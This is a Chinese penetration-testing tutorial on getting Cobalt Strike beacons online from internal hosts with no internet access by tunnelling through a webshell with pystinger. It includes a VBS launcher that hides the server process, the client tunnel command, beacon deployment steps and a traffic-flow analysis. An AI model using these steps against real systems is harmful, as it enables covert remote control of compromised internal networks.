不出網機器CS上線


不出網機器CS上線


日期: 2021-07-07

作者: Mr-hello

介紹: 在滲透測試過程中會出現目標機器不通外網的情況,本文介紹通過 pystinger 工具實現上線。


0x00 前言

在普通滲透測試過程中,總會遇到一種情況,在該種情況下,系統只是內網服務器做的端口映射,並且該服務器不通外網,這樣平常情況無法實現 CS 上線操作。通過 pystinger 工具可以實現上線操作。

0x01 使用方法

假設我們在拿下一台目標主機,但是該主機只是做端口映射,無法連接外網。

使用 pystinger 工具進行 CS 上線,下載地址,通過 webshell 實現內網 SOCK4 代理,端口映射可以使目標不出網情況下在 CS 上線。

首先上傳對應版本腳本到目標服務器。

stinger_server.exe 上傳到目標服務器,在目標機上創建 stinger_server.vbs 文件,示例如下:

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c D:\XXXXX\stinger_server.exe 0.0.0.0",vbhide

執行 vbs 腳本,啟動服務。

stinger_client 上傳到 teamserver 服務器,-w 指定 proxy 的 url 地址運行。

chmod +x stinger_client
./stinger_client -w http://x.x.x.x/proxy.php -l 0.0.0.0 -p 60000

CS 新建監聽器,設置為目標機器的內網 IP,端口默認 60020。(teamserver 服務器和執行 stinger_client 應為同一台服務器)

生成木馬,上傳目標服務器並執行。可看到 CS 有新上線主機。

成功訪問內網網段。

這里我只測試了 Windows 版本,有興趣的可以嘗試一下 Linux 版本。

0x02 原理剖析

實驗室的一個大佬拍着我的肩膀說,知其然也要知其所以然。所以我開始研究起來它的原理。在成功訪問到內網之后,我查看了進程信息以及端口連接信息。經過一個多小時的梳理,我發現存在以下可用端口連接及進程信息。

首先梳理一下。

stinger_server.exe  PID  2424
httpd.exe           PID  3784
artifact.exe        PID  3600
httpd.exe.          PID  800

那么在服務器上存在這樣一個數據流向,來自 192.168.76.1(因為我使用 76.1 做代理服務器進行的端口映射) 訪問 proxy.php 的流量進入目標主機 80 端口,而后 proxy.php 基於 httpd 服務發起新的連接,數據進入 PID 3784 的進程控制。

在進入 PID 3784 進程后,本機 60793 端口對 60010 端口進行連接,並且 60010 端口開啟監聽的是 stinger_server.exe。隨后數據被其接收。

最后 stinger_server.exe 使用 60020 端口與 artifact.exe 進行交互。至此目標機端數據流向分析完畢。

繼而在自己的 teamserver 服務器上發現以下連接。

發現 teamserver 中上線的主機連接是由 stinger_client 發起的,這么分析的話,stinger_client 是一個橋梁作用,連接 teamserver 和被控主機。下圖 39.82.XX.XX:5000 即為我測試過程中使用的 IP,該進程由 stinger_client 發起也就證實了我的猜測。

以上分析完之后,所有的流量走向已經搞明白了。

0x03 結束語

果然大佬說的沒錯,知其然,知其所以然。路漫漫其修遠兮,吾將上下而求索。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM